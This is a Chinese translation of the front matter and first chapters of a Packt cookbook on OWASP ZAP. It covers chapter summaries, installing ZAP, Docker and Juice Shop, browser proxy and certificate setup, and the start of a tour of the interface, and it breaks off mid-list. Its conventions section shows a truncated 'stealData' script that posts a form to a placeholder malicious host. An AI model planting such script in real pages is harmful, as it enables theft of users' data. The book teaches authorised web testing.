原文:
annas-archive.org/md5/5e6314c3b8c8aba93502d674935a9649
译者:飞龙
前言
欢迎来到开放 Web 应用程序安全项目 Zed 攻击代理(OWASP ZAP)的世界,这是一款强大且多功能的 Web 应用程序安全测试工具。OWASP ZAP
,即 Zed 攻击代理,是由 开放 Web 应用程序安全项目(OWASP)社区开发的开源工具。它于 2010 年首次发布,并且自那时以来,已成为全球最受欢迎和广泛使用的 Web 应用程序安全测试工具之一。
OWASP ZAP 旨在帮助安全专家和黑客识别和利用 Web 应用程序中的漏洞。它既可以用于自动化测试,也可以用于手动测试,是一个多功能工具,可以根据任何组织的需求进行定制。该工具的特点包括易于使用的界面、广泛的内置安全检查以及与其他安全工具的集成能力。
OWASP ZAP 的一个关键优点是它的开源特性。这意味着该工具由 OWASP 社区不断更新和改进,使其成为最全面、最先进的 Web 应用程序安全测试工具之一。此外,背后有一个庞大且活跃的社区,这意味着有大量资源可以帮助用户最大限度地利用该工具。
本书将深入探讨 OWASP ZAP 的功能和能力,提供使用该工具识别和利用 Web 应用程序漏洞的全面指南。无论您是安全专家、开发人员还是黑客,本书都将为您提供有效使用 OWASP ZAP 来保护 Web 应用程序所需的知识和技能。
总之,OWASP ZAP 是一个强大而多功能的工具,任何希望识别和利用 Web 应用程序漏洞的人都可以使用它。凭借其开源特性、活跃的社区和一系列内置安全检查,它是保护 Web 应用程序的绝佳选择。
本书适用对象
OWASP ZAP 主要面向 Web 应用程序安全专家、开发人员、教育工作者和黑客。它是一个强大的工具,可用于识别和利用 Web 应用程序中的漏洞,是任何负责 Web 系统安全的人必不可少的工具。
值得注意的是,虽然 OWASP ZAP 可以用来识别和利用漏洞,但它并非用于执行恶意攻击或未经许可破坏系统。该工具旨在帮助组织识别并修复 Web 应用程序中的漏洞,而不是促进未经授权的访问或其他恶意活动。因此,使用该工具的用户必须理解并遵守道德黑客原则。
本书内容
第一章,开始使用 OWASP Zed 攻击代理,向你介绍了 ZAP,它在 OWASP 组织中的维护情况、在渗透测试中的作用,以及如何在各种平台上安装和配置它,设置基本的实验室环境,并使用它进行测试。
第二章,浏览用户界面,解释了如何在 ZAP 中定位并使用各种窗口、工具和功能来进行渗透测试,例如设置目标、手动探索应用程序、修改响应以及使用有效载荷测试特定参数。
第三章,配置、爬取、扫描与报告,教你如何配置和使用 ZAP 的爬取、扫描和报告功能,了解这些部分如何工作,设置项目设置以评估应用程序,并自定义用户选项以获得个性化体验。
第四章,认证与授权测试,向你展示了如何测试和绕过认证与授权机制,包括拦截并使用默认凭证、绕过认证、测试默认凭证、利用目录遍历攻击、提升权限以及测试不安全的直接对象引用。
第五章,会话管理测试,教你如何操作控制和维持用户与应用交互状态的机制,涵盖了测试 cookie 属性、跨站请求伪造、利用登出功能和会话劫持等主题。
第六章,验证(数据)输入 – 第一部分,探讨了最常见的 Web 应用程序安全漏洞类型,如跨站脚本、HTTP 动词篡改、HTTP 参数污染和 SQL 注入,并介绍了如何使用 ZAP 来利用这些漏洞。
第七章,验证(数据)输入 – 第二部分,讨论了 Web 应用程序注入攻击的高级类型,如代码注入、命令注入、服务器端模板注入和服务器端请求伪造,并介绍了如何使用 ZAP 来利用这些攻击。
第八章,业务逻辑测试,深入探讨了在多功能动态 Web 应用程序中测试业务逻辑漏洞的非常规方法,包括伪造请求、测试过程时机、测试功能限制、绕过工作流,以及上传包含恶意负载的意外文件类型。
第九章,客户端测试,涵盖了客户端测试以及与之相关的攻击场景,例如 DOM 跨站脚本、JavaScript 执行、HTML 注入、URL 重定向攻击、跨域资源共享漏洞和 Web 套接字的利用。
第十章,高级攻击技巧,探讨了几种额外的高级攻击方法,例如执行 XXE、Java Web Token
(JWT)的利用、Java 反序列化和 Web 缓存投毒。
第十一章,与 ZAP 的高级冒险,教你了解 ZAP 具有的其他功能和特性,例如通过本地 API 运行动态扫描、在 CI 流水线中作为动态扫描运行 ZAP,以及集成并使用内置的 OWASP 应用安全带外服务器进行测试。
获取本书最大收益
为了充分利用《Zed Attack Proxy Cookbook》,你应该保持信息更新并利用社区资源。OWASP ZAP 是一个开源工具,不断进行更新和改进,因此保持与最新版本同步非常重要。此外,OWASP 社区非常活跃,提供了许多资源,可以帮助你充分利用该工具。
本书中涵盖的软件/硬件 | 操作系统要求 |
---|---|
Java | Windows、macOS 或 Linux |
Docker Desktop/Docker Compose | Windows、macOS 或 Linux |
OWASP Juice-Shop | Windows、macOS、Linux 或 Docker |
Mutillidae II | Windows、macOS 或 Linux |
Jenkins | Windows、macOS、Linux 或 Docker |
如果你使用的是本书的数字版,我们建议你自己输入代码,或者从本书的 GitHub 仓库获取代码(下一节有链接)。这样做有助于避免与复制粘贴代码相关的潜在错误。
此外,使用 ZAP,熟能生巧。ZAP 是一款旨在帮助组织识别和修复其 Web 应用程序漏洞的工具,在 Web 世界中,开发人员设计、构建和实现的各种方法和组合是无穷无尽的。通过实践,了解 Web 应用程序是如何构建的,只会让你成为一个更强大的 Web 应用程序渗透测试员 使用 ZAP。
下载示例代码文件
你可以从 GitHub 下载本书的示例代码文件,地址是:github.com/PacktPublishing/Zed-Attack-Proxy-Cookbook
。如果代码有更新,将会在 GitHub 仓库中进行更新。
我们还提供了其他来自我们丰富目录的代码捆绑包,包含书籍和视频,地址是:github.com/PacktPublishing/
。快来看看吧!
下载彩色图像
我们还提供了一份 PDF 文件,其中包含本书中使用的截图和图表的彩色图像。你可以在这里下载:packt.link/oBhpt
。
使用的约定
本书中使用了若干文本约定。
文本中的代码:表示文本中的代码字词、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 账户名。以下是一个示例:“将下载的 WebStorm-10*.dmg
磁盘映像文件挂载为系统中的另一个磁盘。”
一段代码的设置如下:
pipeline {
agent any
parameters {
choice(name: "ZAP_SCAN", choices: ["zap-baseline. py", "zap-full-scan.py"], description: "Parameter to choose type of ZAP scan")
string(name: "ENTER_
当我们希望引起你对代码块中特定部分的注意时,相关的行或项目会以粗体显示:
<script>
function stealData() {
var form = document.createElement("form");
form.setAttribute("method", "post");
form.setAttribute("action", "http://malicious-site. com");
任何命令行输入或输出如下所示:
docker pull bkimminich/juice-shop
粗体:表示一个新术语、重要词汇或屏幕上看到的词语。例如,菜单或对话框中的词语通常是 粗体。以下是一个示例:“从 管理 面板中选择 系统信息。”
提示或重要备注
看起来像这样。
章节
本书中有几个标题经常出现(准备工作、如何操作…、它是如何工作的…、还有更多…,以及另见)。
为了提供清晰的操作步骤,可以按照以下方式使用这些章节:
准备工作
本节告诉你在食谱中期望看到什么,并描述如何设置任何软件或进行任何食谱所需的初步设置。
如何操作…
本节包含执行食谱所需的步骤。
它是如何工作的…
本节通常详细解释前一节发生的情况。
还有更多…
本节包含有关该食谱的额外信息,以帮助你更好地理解该食谱。
另见
本节提供指向其他有用信息的链接,供食谱参考。
联系我们
我们始终欢迎读者的反馈。
一般反馈:如果你对本书的任何部分有疑问,请通过电子邮件联系我们:customercare@packtpub.com,并在邮件主题中注明书名。
勘误:尽管我们已经尽力确保内容的准确性,但仍然会有错误发生。如果你发现本书中的错误,我们将非常感激你向我们报告。请访问 www.packtpub.com/support/errata 并填写表格。
盗版:如果你在互联网上发现我们的作品存在任何形式的非法复制,我们将非常感激你提供相关的网址或网站名称。请通过 copyright@packt.com 与我们联系,并附上材料的链接。
如果你有兴趣成为作者:如果你在某个主题上拥有专长,并且有兴趣撰写或为一本书做贡献,请访问 authors.packtpub.com。
分享你的想法
阅读完 Zed Attack Proxy Cookbook 后,我们很乐意听到你的想法!请点击这里直接访问该书的亚马逊评论页面并分享你的反馈。
你的评价对我们和技术社区非常重要,将帮助我们确保提供高质量的内容。
下载这本书的免费 PDF 副本
感谢你购买这本书!
你喜欢在路上阅读,但又无法随身携带纸质书吗?你的电子书购买与选择的设备不兼容吗?
别担心,现在购买每本 Packt 书籍时,你将免费获得该书的无 DRM PDF 版本。
在任何地方、任何设备上都能阅读。直接从你最喜欢的技术书籍中搜索、复制并粘贴代码到你的应用程序中。
优惠不仅仅是这些,你还可以每天在收件箱中收到独家的折扣、新闻通讯和精彩的免费内容。
按照以下简单步骤获取福利:
- 扫描二维码或访问以下链接
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/B18829_QR_Free_PDF.jpg
packt.link/free-ebook/9781801817332
-
提交你的购买证明
-
就是这样!我们会将你的免费 PDF 和其他福利直接发送到你的邮箱。
第一章:开始使用 OWASP Zed Attack Proxy
在本章中,你将学习如何设置 OWASP Zed Attack Proxy
(ZAP)以及我们将在本书中使用的测试环境。我们将介绍运行 ZAP 所需的软件,并展示如何在本地机器上下载和安装它。你还将学习如何安装 Docker 并使用它设置 OWASP Juice Shop,这是我们将在本书中执行实验的环境。
此外,我们将引导你完成下载和安装 ZAP 的过程,ZAP 是我们将在全书中使用的工具。我们还将介绍几种安装 ZAP 的方法,并解释在什么情况下你可能想选择一种方法而不是另一种方法。我们还将介绍如何直接从 JAR 文件安装 Zed Attack Proxy,以及如何使用 Zed Attack Proxy 的 Docker 镜像来安装它。
ZAP 是由 开放网页应用安全项目(OWASP)构建和维护的一个开源应用程序。ZAP 专门用于测试网页应用程序的漏洞。ZAP 是一个 中间人(MITM)代理应用程序。一旦安装并配置完成,ZAP 就会处于网页应用程序和安全测试人员的浏览器之间,也就是客户端。ZAP 通过拦截并检查发送到网页应用程序或从网页应用程序发送的请求和响应来工作。在拦截后,这些请求和响应可以根据需要进行修改,然后继续传送。
我们将在本书中使用的两个测试环境被许多专业人士用来学习和实践他们的技能。OWASP Juice Shop
是一个本地托管的环境,你将学习如何在你的机器上部署它。你还将使用 PortSwigger Academy
来学习一些更复杂的内容,这些是本地托管环境无法提供的。
本章结束时,你将学会如何设置浏览器以代理 OWASP Juice Shop 和 PortSwigger Academy 的流量。这将是我们用于执行本书中所有不同测试的主要环境。
本章将介绍以下内容:
-
下载 ZAP
-
设置测试环境
-
设置浏览器代理和证书
-
测试 ZAP 设置
下载 ZAP
在本节中,我们将详细介绍如何在 Windows 和 macOS 上安装 ZAP,并使用适用于 Windows 和 macOS 的跨平台包。我们还将介绍 ZAP 的要求,如何安装 Java,配置浏览器,以及安装证书。此外,我们将介绍如何安装和设置 Docker,设置测试环境,并测试以确保一切如预期工作。
准备工作
为了继续本教程,你需要确保你的笔记本、台式机或所使用的环境具有管理员权限,并且有足够的硬盘空间和内存来运行 ZAP。
操作步骤…
使用任何工具的第一步是下载应用程序。这需要其他几个应用程序才能正确运行和使用。在本教程中,您将学习如何在任何常见操作系统上运行 ZAP 的最佳方法,以及如何安装 Java。
安装 Java
安装 Java 的步骤如下:
- 访问 Java 下载页面:java.com/en/download/。点击同意并开始免费下载,如图 1.1所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.01_B18829.jpg
图 1.1 – Java 下载协议
- 下载完成后,打开安装程序,并点击安装,如以下截图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.02_B18829.jpg
图 1.2 – Java 安装提示
这就是如何安装 Java。在接下来的部分,我们将演示根据您的需求安装 ZAP 的几种方法。
在 Windows 上安装 ZAP
在 Windows 上安装 ZAP 的第一步是安装 Java。这是因为 ZAP 依赖于 Java。有关如何安装 Java,请参考前面的安装 Java部分。
要下载适用于 Windows 的安装程序,请执行以下操作:
- 访问 ZAP 下载页面:www.zaproxy.org/download/。点击Windows (64) 安装程序或Windows (32) 安装程序旁的下载按钮,具体取决于您的计算机处理器。图 1.3显示了此界面:
.
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.03_B18829.jpg
图 1.3 – ZAP Windows 安装程序
- 下载完安装程序后,打开并点击下一步 >:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.04_B18829.jpg
图 1.4 – ZAP Windows 安装向导
- 通过勾选我接受协议旁的圆圈并点击**下一步 >**来接受协议,正如您在图 1.5中看到的:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.05_B18829.jpg
图 1.5 – ZAP 许可协议
- 然后,勾选标准安装旁边的圆圈,并点击下一步 >,如以下截图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.06_B18829.jpg
图 1.6 – 选择安装类型
- 在下一页面,点击安装,如图 1.7所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.07_B18829.jpg
图 1.7 – 开始安装
- 点击完成以完成设置。请参见图 1.8查看最终效果:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.08_B18829.jpg
图 1.8 – 安装完成
这就是 ZAP Windows 安装的全部内容;接下来的部分将介绍如何在 macOS 上安装 ZAP。
在 macOS 上安装 ZAP
要下载适用于 macOS 的安装程序,请按照以下步骤操作:
- 前往 ZAP 官方网站的下载部分,网址是 www.zaproxy.org/download/。点击 下载 按钮旁边的 macOS 安装程序,如以下截图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.09_B18829.jpg
图 1.9 – ZAP macOS 安装程序
- 下载完成后,打开安装程序。你可能会遇到一个错误提示,显示 “OWASP ZAP” 无法打开,因为无法验证开发者。 以下截图展示了该错误消息:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.10_B18829.jpg
图 1.10 – 错误消息
- 在这种情况下,前往 Macintosh 计算机上的 安全性与隐私 设置,导航到 常规,然后点击 仍要打开。让我们看看这些步骤的具体操作:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.11_B18829.jpg
图 1.11 – macOS 安全性与隐私窗口
更新设置后,再次点击安装程序以开始安装。
使用跨平台包安装 ZAP
跨平台包是一个 ZIP 文件,包含以 .jar
格式打包的 ZAP、一个 .bat
脚本(适用于 Windows)以及一个 .sh
脚本(适用于基于 Unix 的系统)。这些脚本会在从 .jar
文件运行 ZAP 之前,检查系统的最佳内存选项。然而,跨平台包需要 Java 版本 8 或更高版本才能正常工作。因此,Windows 或 Linux 操作系统上需要安装 Java。有关安装 Java 的说明,请参考 安装 Java 部分。
下载跨平台包的步骤如下:
- 前往 ZAP 官方网站的下载部分,网址是 www.zaproxy.org/download/。点击 下载 按钮旁边的 跨平台包,如图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.12_B18829.jpg
图 1.12 – ZAP 跨平台包
以下截图显示了已解压的文件夹:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.13_B18829.jpg
图 1.13 – 跨平台下载文件夹
-
在基于 Unix 的操作系统上使用跨平台包时,打开一个新的终端窗口,导航到我们已下载并包含
.jar
文件的文件夹,输入sh
命令,并在文件名后加上.sh
。在这个例子中,文件名是zap.sh
。 -
按下 Enter 或 Return,具体取决于你的键盘布局。运行此命令后,ZAP 将启动:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.14_B18829.jpg
图 1.14 – 启动 zap.sh
在 Windows 计算机上,安装 Java 版本 8 或更高版本后,导航到存储文件的文件夹,双击 .bat
文件(zap.bat)。
安装 Docker
在本书中,我们将使用Docker
作为测试环境,本节将帮助你在计算机上安装 Docker,如果你还没有运行它。你需要下载并安装 Docker。你可以访问docs.docker.com/get-docker/
并安装与你的计算机兼容的 Docker 版本。
对于 Windows
你需要检查系统要求并决定是否使用WSL 2 后端或Hyper-V 后端及 Windows 容器。在确认满足安装要求后,继续安装 Docker,并通过运行docker -v
命令来确保它在你的系统上运行,如图 1.15所示。这样,你应该能看到你在计算机上安装的 Docker 环境的版本。
恭喜!你已经安装了 Docker,并准备好在 Docker 上安装 ZAP:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.15_B18829.jpg
图 1.15 – Windows 上的 Docker 版本
对于 macOS
在苹果计算机上安装 Docker 时,你需要确保根据你的 Mac 是否使用 Intel 芯片或 Apple 芯片来安装正确的版本。安装适合你计算机的版本后,你可以通过在终端上运行docker -v
命令来测试它,如图 1.16所示。现在你已经安装了 Docker,并准备好安装 ZAP:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.16_B18829.jpg
图 1.16 – macOS 上的 Docker 版本
另见
还有其他几种在不同平台上安装 ZAP 的方法。请访问www.zaproxy.org/download/
了解更多信息。
设置测试环境
在本节中,你将设置在本书每一章中使用的测试环境。我们将一起完成设置 OWASP Juice Shop 和注册 PortSwigger Academy 的过程。
准备就绪
为了准备,我们建议使用常见的浏览器,如 Google Chrome 或 Mozilla Firefox。此外,请确保你具有 root 或管理员权限,以便运行终端(Linux 或 macOS)或命令提示符(Windows)。
如何操作…
接下来的配方将帮助你准备将在本书中使用的测试/实验环境。这些是常用的实验室,易于注册或安装,并且可以免费使用。
OWASP Juice Shop 设置
OWASP Juice Shop 是一个开源的不安全 Web 应用程序,用于培训和学习各种类型的攻击。OWASP Juice Shop 包括 OWASP 的十大漏洞以及在实际中发现的缺陷。你可以在owasp.org/www-project-juice-shop/
找到更多关于该项目的信息。为了简化设置,我们将使用 Docker 镜像:
- 第一步是在确认 Docker 正在你的机器上运行后,使用终端运行
docker pull bkimminich/juice-shop
命令,从 Docker Hub 拉取镜像:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.17_B18829.jpg
图 1.17 – 从 Docker Hub 拉取 Juice Shop 镜像
如果一切正常,你将收到一个与图 1.17中截图类似的响应。
- 下一步是启动 Docker 镜像。你可以在终端中运行
docker run --rm -p 3000:3000 bkimminich/juice-shop
命令,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.18_B18829.jpg
图 1.18 – 启动 Docker 镜像
- Docker 镜像安装完成后,你可以在浏览器中导航到
localhost:3000
,你将看到 OWASP Juice Shop 应用程序在你的机器上运行。请参考图 1.19,看看它的示例:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.19_B18829.jpg
图 1.19 – OWASP Juice Shop
- 到目前为止,你已经设置好了 OWASP Juice Shop。恭喜你!你已经在计算机上安装了 OWASP Juice Shop。
注册 PortSwigger Academy
PortSwigger Academy 是由Burp Suite的创建者创建的一个免费的网络安全平台。我们将使用他们的实验室环境来测试一些在 OWASP Juice Shop 中找不到的漏洞,并且可以通过简单的环境设置来使用漏洞实验室:
-
首先,你需要访问
portswigger.net/web-security
并注册一个免费账户。 -
注册一个免费账户后,你可以登录并访问
portswigger.net/web-security/all-labs
。你可以在该页面找到 PortSwigger 提供的所有实验室,如图 1.20所示,我们将在本书的过程中使用其中的一些实验室:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.20_B18829.jpg
图 1.20 – PortSwigger 实验室
现在你已经设置好了两个测试环境,准备在接下来的章节中学习如何使用 OWASP ZAP 识别和测试漏洞。
它是如何工作的…
使用我们描述的测试环境非常重要,以便跟随本书的其余部分和食谱。我们还将使用一些 PortSwigger Academy 的实验室,这些实验室不需要设置复杂的环境和额外的服务器即可进行攻击。
还有更多内容…
也可以使用其他测试环境,如OWASP Mutillidae
或bWAPP
,来替代 OWASP Juice Shop。
设置浏览器代理和证书
本节将介绍如何配置 ZAP 使其与浏览器一起运行,并设置 ZAP CA 证书来代理 HTTPS 连接。此外,我们将使用浏览器扩展 FoxyProxy
,它提供了一种简单的方法来更改代理配置,并在多个代理之间切换或禁用直接连接。ZAP 代理允许你捕获浏览器发出的所有请求,然后修改或编辑这些请求,以便发现你正在测试的 Web 应用中的漏洞。
准备工作
要继续进行此步骤,你需要具备基本的互联网设置或浏览器网络配置的知识。此外,你需要了解如何浏览浏览器市场以安装扩展程序。
如何操作…
FoxyProxy 允许你轻松更改那些没有简单设置界面来更改代理设置的浏览器的代理配置。你需要按照以下步骤操作:
- 打开 Google,搜索
FoxyProxy
,然后进入 Chrome 网上应用店,在浏览器中安装插件。进入 Chrome 网上应用店 后,界面应如下图所示,此时可以点击 添加到 Chrome,并按照提示完成插件安装:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.21_B18829.jpg
图 1.21 – 将 FoxyProxy 添加到 Chrome
- 要将扩展程序固定到 Chrome 上,请点击扩展程序图标,然后点击固定图标,如 图 1.22 所示,这样就能将 FoxyProxy 扩展程序固定到浏览器的顶部栏:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.22_B18829.jpg
图 1.22 – 固定 FoxyProxy
- 接下来,点击 FoxyProxy 图标,点击 选项,如 图 1.23 所示,打开选项设置窗口,在这里我们将设置代理设置:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.23_B18829.jpg
图 1.23 – 选项按钮
- 在选项界面中,点击 添加新代理 来为 ZAP 代理设置新的代理配置:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.24_B18829.jpg
图 1.24 – 添加新代理
- 在 代理设置 窗口中,进入 代理详情 标签,将 主机或 IP 地址 字段设置为你的 ZAP 代理配置的值。如 图 1.25 所示,我的 ZAP 代理配置为 IP 地址
127.0.0.1
,端口为8080
。然后点击 保存 以保存设置:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.25_B18829.jpg
图 1.25 – 代理设置
- 要验证设置是否已保存,请点击浏览器中的 FoxyProxy 图标。请注意以下截图,设置中显示 为所有 URL 使用代理 127.0.0.1:8080:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.26_B18829.jpg
图 1.26 – 使用创建的代理
- 最后一步是验证你的代理是否与 ZAP 代理一起正常工作:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.27_B18829.jpg
图 1.27 – 验证代理正在使用中
CA 证书
在进行 Web 流量拦截之前,您需要将自签名的 ZAP 证书安装到您选择的浏览器的根 CA 颁发机构中。这将防止浏览器将 ZAP 代理标记为恶意,并停留在 浏览器警告 屏幕上。这是因为您没有在浏览器中安装受信任的 CA 证书。本节将重点介绍在 Google Chrome 浏览器中的测试。
要安装 ZAP 证书,请导航到 ZAP 代理,然后进入 工具 > 选项 > 动态 SSL 证书 并保存证书。我们将在下一个截图中查看:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.28_B18829.jpg
图 1.28 – 动态 SSL 证书标签
另一种方法是通过浏览器访问 http://localhost:8080
,并点击 HTTPS 警告预防 下的 下载 按钮,如图 1.29所示。这将允许您下载证书:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.29_B18829.jpg
图 1.29 – 证书下载
要将 ZAP 证书安装到 Chrome,请按照以下步骤操作:
-
通过点击屏幕右上角的三个点,或访问
chrome://settings
,并进入 安全性和隐私 页面来打开 Chrome 的 设置 页面。 -
点击 管理证书,位于 安全性 下。
-
在 macOS 计算机上,点击 文件,然后点击 导入项,选择证书文件,进入 证书 标签页,开始证书安装过程。在 Windows 计算机上,在 预定用途 框中选择 <所有>,进入 受信任的根证书颁发机构 标签,点击 导入,然后点击 下一步。选择证书文件并点击 下一步。在此窗口中,保持默认选项并点击 下一步,然后点击 完成。
要将 ZAP CA 安装到 Firefox,请按照以下步骤操作:
-
进入偏好设置。
-
打开 高级 标签。
-
打开加密/证书标签页。
-
点击 查看证书。
-
点击受信任的机构标签。
-
点击 导入,选择已保存的
owasp_zap_root_ca.cer
文件。 -
在向导中,选择信任此证书以识别网站(勾选所有框)。
-
完成向导。
工作原理…
准备浏览器和证书将使您能够在应用程序开始测试的当天迅速开始测试,而不是浪费宝贵时间配置网络代理设置或捕获 Web 请求和响应。
测试 ZAP 设置
该操作步骤将帮助排查与 ZAP 的连接问题,并验证每个步骤是否已正确设置。
准备就绪
为了继续此操作步骤,您需要重新启动计算机以确保安装过程完成并且工具正常工作。
如何操作…
为确保 ZAP 已正确设置,请按照以下步骤操作:
- 在 Chrome 浏览器中,启动 ZAP,打开扩展菜单,然后双击为所有 URL 使用代理 127.0.0.1:8080选项,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.30_B18829.jpg
图 1.30 – 选择已创建的代理
- 访问 google.com。在设置代理并安装证书后首次使用 ZAP 时,您将看到欢迎使用 ZAP HUD消息和/或浏览器窗口右侧和左侧的选项,如下图所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_1.31_B18829.jpg
图 1.31 – ZAP HUD
它是如何工作的…
设置并测试 OWASP ZAP 是为了帮助您确定其使用和功能中是否存在错误,并确保在测试窗口(开始/停止日期)期间进行评估时能够拥有一个正常工作的干净安装环境。没有什么比在测试的第一天才发现某些功能损坏或无法使用更糟糕的事情了。
第二章:导航界面
本章将介绍 ZAP图形用户界面(GUI)的基础知识。这将帮助您更好地理解如何导航 GUI 以及在即将到来的章节中如何找到配置设置。我们将 GUI 分为四个主要部分,便于解释如何导航和使用 GUI。每个部分将描述 ZAP GUI 默认配置的一个部分。
在本章中,我们将介绍以下内容:
-
持久化会话
-
菜单栏
-
工具栏
-
树形窗口
-
工作区窗口
-
信息窗口
-
底部
-
编码/解码/哈希对话框
-
使用模糊测试工具
技术要求
本章内容需要您在计算机上安装OWASP ZAP Proxy
。您还需要在您的机器上运行OWASP Juice Shop
,并且在接下来的章节中需要能够访问 Juice Shop 来进行相关操作。
持久化会话
在本节中,我们将介绍如何设置 ZAP Proxy 会话持久化。当您在多天进行评估时,这非常有用,因为您可以关闭 ZAP 而不会丢失任何信息。
准备工作
为了能够继续本章的内容,您需要在计算机上安装 ZAP。
如何操作…
在从您选择的主机运行 ZAP 应用程序时,会弹出一个对话框询问您是否要持久化 ZAP 会话。在此对话框中,您将有多个选择,决定如何持久化 ZAP 会话,并将会话文件存储在本地数据库中,以便以后检索。
您可以选择三种持久化方式,并且可以勾选一个复选框来记住您的选择。以下是您的选项:
-
是的,我想根据当前时间戳持久化此会话并命名:此选项将使用默认的文件名和位置保存会话文件。
-
是的,我想持久化这个会话,但我想指定名称和位置:此选项允许您重命名文件并选择文件存储的位置。
-
不,我此时不想持久化此会话:当选择此选项时,文件不会被存储。
-
记住我的选择,并且不要再询问我:选中此复选框,并与前面三个选项之一一起使用,可以将其设置为默认选择。
让我们在下面的截图中看看它的视觉效果:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.01_B18829.jpg
图 2.1 – 持久化会话
从这里,我们将继续描述顶部菜单栏,以及其中包含的其他菜单、选项和位于主菜单栏下方的顶级工具栏。
工作原理…
持久化会话将允许你保存工作并快速返回已捕获和正在进行的内容。基本上,这就是你如何保存工作的方式。有时,测试是临时的,不需要持久化。其他时候,持久化可能不是你最初想要做的选项,因为捕获一个 Web 应用程序也会开始捕获超出范围的内容,这些内容不会保存到站点树或上下文中。
菜单栏
菜单栏将帮助用户理解一般设置并导航工具以查看、配置和更改设置。
准备就绪
要继续此方案,你需要安装并运行 ZAP。
如何操作…
菜单栏位于 ZAP 应用程序的左上角。它包括文件、编辑、视图、分析、报告、工具、导入、在线和帮助菜单。我将简要解释每个菜单部分的用途,如 图 2.2 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.02_B18829.jpg
图 2.2 – 菜单栏设置
工作原理…
我们将查看以下列表中的每个菜单:
-
文件:此菜单用于管理 ZAP 会话。在此菜单中,你可以启动会话、继续会话等。
-
编辑:此菜单允许搜索请求和响应、查找文本、设置强制用户模式和管理 ZAP 的模式。
-
视图:此菜单提供显示选项和管理标签页的方法。
-
分析:此菜单包含打开扫描策略管理器的选项,你可以在其中添加、修改、导入、导出或删除扫描策略。
-
报告:此菜单提供生成报告、导出消息和响应、导出 URL 以及将当前会话与先前保存或导入的会话进行比较的选项。
-
工具:此菜单包含 ZAP 的工具和选项。
-
导入:此菜单提供将不同类型的数据文件导入 ZAP 的选项。
-
在线:此菜单包含 ZAP 在线资源,包括ZAP 市场、ZAP 常见问题和ZAP 视频。
-
帮助:此菜单提供关于 ZAP 的资源,如支持信息、检查更新和
OWASP ZAP**
用户指南**。
还有更多…
还有许多其他功能,如快捷键,可以帮助你快速导航 OWASP ZAP。利用这些功能可以帮助你更高效地使用工具。
提示
在 Windows 系统上,使用 Alt 键将激活快捷方式到顶部菜单。触发后,菜单中的每个选项都会有下划线的大写字母,表示需要与 Alt 键一起使用的键。例如,要打开文件,使用 Alt + F。要打开帮助,使用 Alt + H,依此类推。然后你可以使用箭头键进行导航,按空格键或 Enter 键选择其他子选项。在 macOS 系统上,使用 Command 键将实现相同功能。
工具栏
在本方案中,我们将介绍 ZAP 代理工具栏及其每个部分的功能。
准备工作
要回顾本教程,您需要在计算机上安装 ZAP,并确保它已启动并运行。
如何操作…
从左到右查看工具栏,您将看到模式下拉菜单,如图 2**.3所示,它允许您更改 ZAP 中的模式:
-
安全模式将防止您对目标执行任何危险操作。
-
在保护模式下,您将能够对应用程序范围执行危险操作。
-
标准模式是您可以随意操作的模式,没有工具的任何限制。
-
